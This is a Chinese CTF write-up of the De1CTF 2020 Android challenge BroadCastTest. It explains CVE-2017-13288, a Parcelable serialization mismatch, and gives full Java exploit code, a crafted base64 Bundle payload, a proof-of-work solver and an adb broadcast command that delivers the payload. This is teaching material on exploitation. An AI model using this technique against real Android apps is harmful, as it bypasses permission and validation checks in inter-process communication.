0x01 写在前面
本文以2020-De1CTF-Pwn-BroadCastTest
为例,意图阐述Android Pwn
中CVE-2017-13288
的分析及利用思路。
本文的部分思路是经过5k1l@W&M
狮虎的讲解完成的,在此特别鸣谢狮虎给予的帮助。
0x02 题目文件分析
首先,题目给出的是一个APK
文件和一个nc
链接地址,nc
之后首先是一个简单的哈希验证。
chal= S4PJouSirebgoAoK
sol = sys.stdin.buffer.read(4)
sha256(chal + sol).digest().startswith(b'')
使用以下代码即可成功通过验证
from pwn import *
import hashlib
context.log_level = 'debug'
sh = remote('206.189.186.98',8848)
sh.recvuntil('chal=')
chal = sh.recvuntil('n',drop=True)
info('chal = ' + chal)
Success_flag = False
for i_0 in range(255):
if not Success_flag:
for i_1 in range(255):
if not Success_flag:
for i_2 in range(255):
if not Success_flag:
for i_3 in range(255):
if not Success_flag:
maybe_sol = chr(i_0) + chr(i_1) + chr(i_2) + chr(i_3)
if (hashlib.sha256(chal + maybe_sol).digest().startswith(b'')) :
success('sol = ' + maybe_sol)
sh.sendlineafter('>>n',maybe_sol)
Success_flag = True
sh.interactive()
0x03 漏洞利用
反编译并将代码转移至开发环境
1.接下来我们使用jadx
分析给出的文件,为了方便我们调试,我们此处选择使用开发环境建立一个Android
项目,直接使用jadx
分析出的代码,此处有两个小Tips
:
可以在项目进行gradle sync
操作时,修改build.gradle
文件,加入以下代码:
// Top-level build file where you can add configuration options common to all sub-projects/modules.
buildscript {
repositories {
//replace mavenCentral() and jcenter() in china
maven {
url 'https://maven.aliyun.com/repository/public/'
}
//replace google() in china
maven {
url 'https://maven.aliyun.com/repository/google/'
}
maven {
url 'https://maven.aliyun.com/repository/jcenter/'
}
google() jcenter()
}
dependencies {
classpath 'com.android.tools.build:gradle:3.6.0-rc01'
// NOTE: Do not place your application dependencies here; they belong
// in the individual module build.gradle files
}
}
allprojects {
repositories {
//replace mavenCentral() and jcenter() in china
maven {
url‘https: //maven.aliyun.com/repository/public/‘ }
//replace google() in china
maven {
url‘https: //maven.aliyun.com/repository/google/‘ }
maven {
url‘https: //maven.aliyun.com/repository/jcenter/‘ }
google() jcenter()
}
}
task clean(type: Delete) {
delete rootProject.buildDir
}
这样可以显著增加gradle sync时的下载速度。
2.将所有的类代码复制过来以后,需要修改AndroidManifest.xml文件,加入以下代码:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.de1ctf_broadcasttest">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<receiver android:name="com.example.de1ctf_broadcasttest.MyReceiver1" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="com.example.de1ta.receiver3"/>
</intent-filter>
</receiver>
<receiver android:name="com.example.de1ctf_broadcasttest.MyReceiver2" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="com.example.de1ta.receiver2"/>
</intent-filter>
</receiver>
<receiver android:name="com.example.de1ctf_broadcasttest.MyReceiver3" android:enabled="true" android:exported="true">
<intent-filter>
<action android:name="com.example.de1ta.receiver1"/>
</intent-filter>
</receiver>
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
目的是为了静态注册receiver
,以防止后续调试出现问题。
在开发环境中调试确定程序逻辑
首先可以发现,在onCreate
类中并没有有用的逻辑,那么,交互一定存在于MyReceiver
系列中。
MyReceiver
系列均继承了BroadcastReceiver
父类,并均重写了onReceive
方法。
关于Parcelable
及Bundle
Android
提供了独有的Parcelable
接口来实现序列化的方法,只要实现这个接口,一个类的对象就可以实现序列化并可以通过Intent
或Binder
传输,见下面示例中的典型用法。
public class MyParcelable implements Parcelable {
private int mData;
public int describeContents() {
return 0;
}
public void writeToParcel(Parcel out, int flags) {
out.writeInt(mData);
}
public void readFromParcel(Parcel reply) {
mData = in.readInt();
}
public static final Parcelable.Creator<MyParcelable> CREATOR
= new Parcelable.Creator<MyParcelable>() {
public MyParcelable createFromParcel(Parcel in) {
return new MyParcelable(in);
}
public MyParcelable[] newArray(int size) {
return new MyParcelable[size];
}
};
private MyParcelable(Parcel in) {
mData = in.readInt();
}
}
其中,关键的writeToParcel
和readFromParcel
方法,分别调用Parcel
类中的一系列write
方法和read
方法实现序列化和反序列化。
可序列化的Parcelable
对象一般不单独进行序列化传输,需要通过Bundle
对象携带。 Bundle
的内部实现实际是Hashmap
,以Key-Value
键值对的形式存储数据。例如,Android
中进程间通信频繁使用的Intent
对象中可携带一个Bundle
对象,利用putExtra(key, value)
方法,可以往Intent
的Bundle
对象中添加键值对(Key Value
)。Key
为String
类型,而Value
则可以为各种数据类型,包括int
、Boolean
、String
和Parcelable
对象等等,Parcel
类中维护着这些类型信息。各类型定义见/frameworks/base/core/java/android/os/Parcel.java
// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
private static final int VAL_NULL = -1;
private static final int VAL_STRING = 0;
private static final int VAL_INTEGER = 1;
private static final int VAL_MAP = 2;
private static final int VAL_BUNDLE = 3;
private static final int VAL_PARCELABLE = 4;
private static final int VAL_SHORT = 5;
private static final int VAL_LONG = 6;
private static final int VAL_FLOAT = 7;
对Bundle
进行序列化时,依次写入携带所有数据的长度、Bundle
魔数(0x4C444E42
)和键值对。见BaseBundle.writeToParcelInner
方法
int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);
pacel.writeArrayMapInternal
方法写入键值对,先写入Hashmap
的个数,然后依次写入键和值
/*
* Flatten an ArrayMap into the parcel at the current dataPosition(),
* growing dataCapacity() if needed. The Map keys must be String objects.
*/
/* package */
void writeArrayMapInternal(ArrayMap<String, Object> val) {
...
final int N = val.size();
writeInt(N);
...
int startPos;
for (int i=0; i<N; i++) {
if (DEBUG_ARRAY_MAP) startPos = dataPosition();
writeString(val.keyAt(i));
writeValue(val.valueAt(i));
...
接着,调用writeValue
时依次写入Value
类型和Value
本身,如果是Parcelable
对象,则调用writeParcelable
方法,后者会调用Parcelable
对象的writeToParcel
方法。
public final void writeValue(Object v) {
if (v == null) {
writeInt(VAL_NULL);
} else if (v instanceof String) {
writeInt(VAL_STRING);
writeString((String) v);
} else if (v instanceof Integer) {
writeInt(VAL_INTEGER);
writeInt((Integer) v);
} else if (v instanceof Map) {
writeInt(VAL_MAP);
writeMap((Map) v);
} else if (v instanceof Bundle) {
// Must be before Parcelable
writeInt(VAL_BUNDLE);
writeBundle((Bundle) v);
} else if (v instanceof PersistableBundle) {
writeInt(VAL_PERSISTABLEBUNDLE);
writePersistableBundle((PersistableBundle) v);
} else if (v instanceof Parcelable) {
// IMPOTANT: cases for classes that implement Parcelable must
// come before the Parcelable case, so that their specific VAL_*
// types will be written.
writeInt(VAL_PARCELABLE);
writeParcelable((Parcelable) v, 0);
反序列化过程则完全是一个对称的逆过程,依次读入Bundle
携带所有数据的长度、Bundle
魔数(0x4C444E42
)、键和值,如果值为Parcelable
对象,则调用对象的readFromParcel
方法,重新构建这个对象。
MyReceiver1
分析(下简称MR1
)
public class MyReceiver1 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
int id = intent.getIntExtra("id", 0);
String data = intent.getStringExtra("data");
if (id != 0 && data != null) {
try {
byte[] buffer = Base64.decode(data, 0);
Parcel dest = Parcel.obtain();
dest.unmarshall(buffer, 0, buffer.length);
dest.setDataPosition(0);
Intent intent1 = new Intent();
intent1.setAction("com.de1ta.receiver2");
intent1.setClass(context, MyReceiver2.class);
Bundle bundle = new Bundle();
bundle.readFromParcel(dest);
intent1.putExtra("id", id);
intent1.putExtra("message", bundle);
context.sendBroadcast(intent1);
} catch (Exception e) {
Log.e("De1taDebug", "exception:", e);
Log.d("De1ta", "Failed in Receiver1! id:" + id);
}
}
}
}
首先程序会从intent
对象的扩展数据中获取id
和data
这两个键值
get<type>Extra 和 put<type>Extra函数相反,分别代表从对象的扩展数据(若干键值对)中依据key获取value和向对象的扩展数据加入键值的行为。getIntExtra接受两个参数,即key和defaultValue ,其中defaultValue代表若对象的扩展数据中无key对应的键值对,则返回defaultValue。getIStringExtra接受一个参数,即key ,若对象的扩展数据中无key对应的键值对,则返回null。
接着程序对传入的data
进行base64
解码,然后建立一个Parcel
对象dest
,接下来就是将经过解码的data
置入dest
,接下来创建一个Intent
对象intent1
,将dest
封入Bundle
对象bundle
并将其作为扩展数据封入intent1
,再次发送针对MyReceiver2
的广播。
MyReceiver2
分析(下简称MR2
)
public class MyReceiver2 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getBundleExtra("message");
int id = intent.getIntExtra("id", 0);
String command = bundle.getString("command");
if (id == 0 || command == null || command.equals("getflag")) {
Log.d("De1ta", "Failed in Receiver2! id:" + id);
return;
}
try {
Intent intent1 = new Intent();
intent1.setAction("com.de1ta.receiver3");
intent1.setClass(context, MyReceiver3.class);
intent1.putExtra("id", id);
intent1.putExtra("message", bundle);
context.sendBroadcast(intent1);
} catch (Exception e) {
Log.e("De1taDebug", "exception:", e);
Log.d("De1ta", "Failed in Receiver2! id:" + id);
}
}
}
这里进行第一次验证,从接收到的bundle
中的command
键取对应的value
,要求取到的value
不能和getflag
相同。
然后,将bundle
再次封装并发送给MyReceiver2
。
MyReceiver3
分析(下简称MR3
)
public class MyReceiver3 extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String command = intent.getBundleExtra("message").getString("command");
int id = intent.getIntExtra("id", 0);
if (id == 0 || command == null || !command.equals("getflag")) {
Log.d("De1ta", "Failed in Receiver3! id:" + id);
return;
}
Log.d("De1ta", "Congratulations! id:" + id);
}
}
这里进行第二次验证,从接收到的bundle
中的command
键取对应的value
,要求取到的value
必须和getflag
相同。
从不可能事件中推测并确定漏洞点
也就是说,此处的逻辑是,将我们发送到MR1
的数据封包,然后发送至MR2
,拆包检查command
的值,再次封包,然后发送至MR3
,拆包检查command
的值,要求这两次检查中的command
的值不相同!这看起来是不可能的!
这里其实可以注意到,在MainActivity
中,我们已经对Parcelable
接口的逻辑进行了重写,也就是说,漏洞点极有可能是在封包拆包过程中,其内部数据已经发生了改变!
这里我们将封包拆包的代码重叠给出
this.bssid = in.readString();
dest.writeString(this.bssid);
this.burstNumber = in.readInt();
dest.writeInt(this.burstNumber);
this.measurementFrameNumber = in.readInt();
dest.writeInt(this.measurementFrameNumber);
this.successMeasurementFrameNumber = in.readInt();
dest.writeInt(this.successMeasurementFrameNumber);
this.frameNumberPerBurstPeer = in.readInt();
dest.writeInt(this.frameNumberPerBurstPeer);
this.status = in.readInt();
dest.writeInt(this.status);
this.measurementType = in.readInt();
dest.writeInt(this.measurementType);
this.retryAfterDuration = in.readInt();
dest.writeInt(this.retryAfterDuration);
this.ts = in.readLong();
dest.writeLong(this.ts);
this.rssi = in.readInt();
dest.writeInt(this.rssi);
this.rssiSpread = in.readInt();
dest.writeInt(this.rssiSpread);
this.txRate = in.readInt();
dest.writeByte((byte) this.txRate);
this.rtt = in.readLong();
dest.writeLong(this.rtt);
this.rttStandardDeviation = in.readLong();
dest.writeLong(this.rttStandardDeviation);
this.rttSpread = in.readLong();
dest.writeInt((int) this.rttSpread);
这里我们能很明显注意到有两个变量在封包拆包过程中的操作类型出现了变化
this.txRate = in.readInt();
dest.writeByte((byte) this.txRate);
this.rttSpread = in.readLong();
dest.writeInt((int) this.rttSpread);
然而因为字节对齐机制的存在,就算我们封包时使用的是byte
,我们最后封入的还是4
字节。
但是!如果我们将一个包,里面的某个成员,以long
形式拆包,再以int
形式封包时,将产生4
字节的数据丢失!
调试并构造最终Exploit
接下来我们写一个Send_data
函数尝试构造数据并发送
public void send_data(){
Parcel dest = Parcel.obtain();
Bundle bundle = new Bundle();
bundle.putParcelable("00",new Message(dest));
bundle.putString("command","getflag");
Parcel parcel = Parcel.obtain();
parcel.writeBundle(bundle);
parcel.setDataPosition(0);
byte[] bytes = parcel.marshall();
String buffer="";
for (byte b:bytes){
buffer+=String.format("%02x",b);
}
Log.e("buffer",buffer);
Log.e("b64",new String(Base64.encode(bytes,0)).replace("n",""));
Intent intent = new Intent("com.example.de1ta.receiver1");
intent.putExtra("id",1);
intent.addFlags(0x01000000);
intent.putExtra("data",new String(Base64.encode(bytes,0)).replace("n",""));
sendBroadcast(intent);
}
然后我们可以在logcat
窗口读取到我们发送的数据
接下来,我们就要来精心构造一下payload
了,为了方便我们查看将被吞并的字节位置,我们定义一个无参构造函数:
public Message() {
this.bssid = "bssid";
this.burstNumber = 1;
this.frameNumberPerBurstPeer = 2;
this.measurementFrameNumber = 3;
this.measurementType = 4;
this.retryAfterDuration = 5;
this.rssi = 6;
this.rssiSpread = 7;
this.rtt = 8;
this.rttSpread = 9;
this.rttStandardDeviation = 10;
this.status = 11;
this.successMeasurementFrameNumber = 12;
this.ts = 13;
this.txRate = 0xff;
}
为了保证能触发字节吞并,我们必须保留bundle.putParcelable("00",new Message());
,接下来我们可以置入一个Int
型数组,因为Int
型数组的每个元素都是4字节长,有助于我们进行精准控制,那么,被吞并的将是Int
型数组的前四个字节,我们控制完之后的结果就应该是:
然后经过第一次字节吞并
然后经过第二次字节吞并
这样看起来就可以通过验证了。
修改一下MainActivity
的内容:
package com.example.de1ctf_broadcasttest;
import android.annotation.SuppressLint;
import android.content.Intent;
import android.os.Parcel;
import android.os.Parcelable;
import android.util.Base64;
import android.util.Log;
import android.view.View;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
send_data();
}
public void send_data(){
Parcel dest = Parcel.obtain();
Bundle bundle = new Bundle();
bundle.putParcelable("00",new Message());
bundle.putIntArray("33",new int[]{0x12,0x18,0x3,0x4,0x5,0x6,0x7,0x8,0x9,0xA,0xB,0xC,0xD,0xE,0xF,0x10,0x11,0x12});
bundle.putString("7command","7command7getflag");
Parcel parcel = Parcel.obtain();
parcel.writeBundle(bundle);
parcel.setDataPosition(0);
byte[] bytes = parcel.marshall();
String buffer="";
for (byte b:bytes){
buffer+=String.format("%02x",b);
}
Log.d("buffer",buffer);
Log.d("b64",new String(Base64.encode(bytes,0)).replace("n",""));
Intent intent = new Intent("com.example.de1ta.receiver1");
intent.putExtra("id",1);
intent.addFlags(0x01000000);
intent.putExtra("data",new String(Base64.encode(bytes,0)).replace("n",""));
sendBroadcast(intent);
}
static class Message implements Parcelable {
public Message() {
this.bssid = "bssid";
this.burstNumber = 1;
this.frameNumberPerBurstPeer = 2;
this.measurementFrameNumber = 3;
this.measurementType = 4;
this.retryAfterDuration = 5;
this.rssi = 6;
this.rssiSpread = 7;
this.rtt = 8;
this.rttSpread = 9;
this.rttStandardDeviation = 10;
this.status = 11;
this.successMeasurementFrameNumber = 12;
this.ts = 13;
this.txRate = 0xff;
}
public static final Parcelable.Creator<Message> CREATOR = new Parcelable.Creator<Message>() {
/* class com.de1ta.broadcasttest.MainActivity.Message.AnonymousClass1 */
public Message createFromParcel(Parcel in) {
return new Message(in);
}
public Message[] newArray(int size) {
return new Message[size];
}
};
String bssid;
public int burstNumber;
public int frameNumberPerBurstPeer;
public int measurementFrameNumber;
public int measurementType;
public int retryAfterDuration;
public int rssi;
public int rssiSpread;
public long rtt;
public long rttSpread;
public long rttStandardDeviation;
public int status;
public int successMeasurementFrameNumber;
public long ts;
public int txRate;
public Message(Parcel in) {
byte[] bytes = in.marshall();
String buffer="";
for (byte b:bytes){
buffer+=String.format("%02x",b);
}
Log.d("buffer",buffer);
Log.d("b64",new String(Base64.encode(bytes,0)).replace("n",""));
this.bssid = in.readString();
this.burstNumber = in.readInt();
this.measurementFrameNumber = in.readInt();
this.successMeasurementFrameNumber = in.readInt();
this.frameNumberPerBurstPeer = in.readInt();
this.status = in.readInt();
this.measurementType = in.readInt();
this.retryAfterDuration = in.readInt();
this.ts = in.readLong();
this.rssi = in.readInt();
this.rssiSpread = in.readInt();
this.txRate = in.readInt();
this.rtt = in.readLong();
this.rttStandardDeviation = in.readLong();
this.rttSpread = in.readLong();
}
public int describeContents() {
return 0;
}
public void writeToParcel(Parcel dest, int i) {
dest.writeString(this.bssid);
dest.writeInt(this.burstNumber);
dest.writeInt(this.measurementFrameNumber);
dest.writeInt(this.successMeasurementFrameNumber);
dest.writeInt(this.frameNumberPerBurstPeer);
dest.writeInt(this.status);
dest.writeInt(this.measurementType);
dest.writeInt(this.retryAfterDuration);
dest.writeLong(this.ts);
dest.writeInt(this.rssi);
dest.writeInt(this.rssiSpread);
dest.writeByte((byte) this.txRate);
dest.writeLong(this.rtt);
dest.writeLong(this.rttStandardDeviation);
dest.writeInt((int) this.rttSpread);
}
}
}
运行,得到以下结果
payload即为
gAEAAEJOREwDAAAAAgAAAAAAAAAAAAAABAAAADUAAABjAG8AbQAuAGUAeABhAG0AcABsAGUALgBkAGUAMQBjAHQAZgBfAGIAcgBvAGEAZABjAGEAcwB0AHQAZQBzAHQALgBNAGEAaQBuAEEAYwB0AGkAdgBpAHQAeQAkAE0AZQBzAHMAYQBnAGUAAAAFAAAAYgBzAHMAaQBkAAAAAQAAAAMAAAAMAAAAAgAAAAsAAAAEAAAABQAAAA0AAAAAAAAABgAAAAcAAAD/////CAAAAAAAAAAKAAAAAAAAAAkAAAADAAAAAwAAAAMAAAASAAAAEgAAABIAAAAYAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAAAkAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAVAAAABwAAAGMAbwBtAG0AYQBuAGQAAAAAAAAABwAAAGcAZQB0AGYAbABhAGcAAAA=
我们向远端发起攻击时,需要使用adb
方式:
adb shell am broadcast -n com.de1ta.broadcasttest/.MyReceiver1 -a com.de1ta.receiver1 -f 32 --es data gAEAAEJOREwDAAAAAgAAAAAAAAAAAAAABAAAADUAAABjAG8AbQAuAGUAeABhAG0AcABsAGUALgBkAGUAMQBjAHQAZgBfAGIAcgBvAGEAZABjAGEAcwB0AHQAZQBzAHQALgBNAGEAaQBuAEEAYwB0AGkAdgBpAHQAeQAkAE0AZQBzAHMAYQBnAGUAAAAFAAAAYgBzAHMAaQBkAAAAAQAAAAMAAAAMAAAAAgAAAAsAAAAEAAAABQAAAA0AAAAAAAAABgAAAAcAAAD/////CAAAAAAAAAAKAAAAAAAAAAkAAAADAAAAAwAAAAMAAAASAAAAEgAAABIAAAAYAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAAAkAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAVAAAABwAAAGMAbwBtAG0AYQBuAGQAAAAAAAAABwAAAGcAZQB0AGYAbABhAGcAAAA= --ei id 1
此处以网易MuMu
模拟器为例,使用adb kill-server && adb server && adb shell
启用adb shell
,并使用logcat | grep De1ta
监听。
然后在另一终端使用以上命令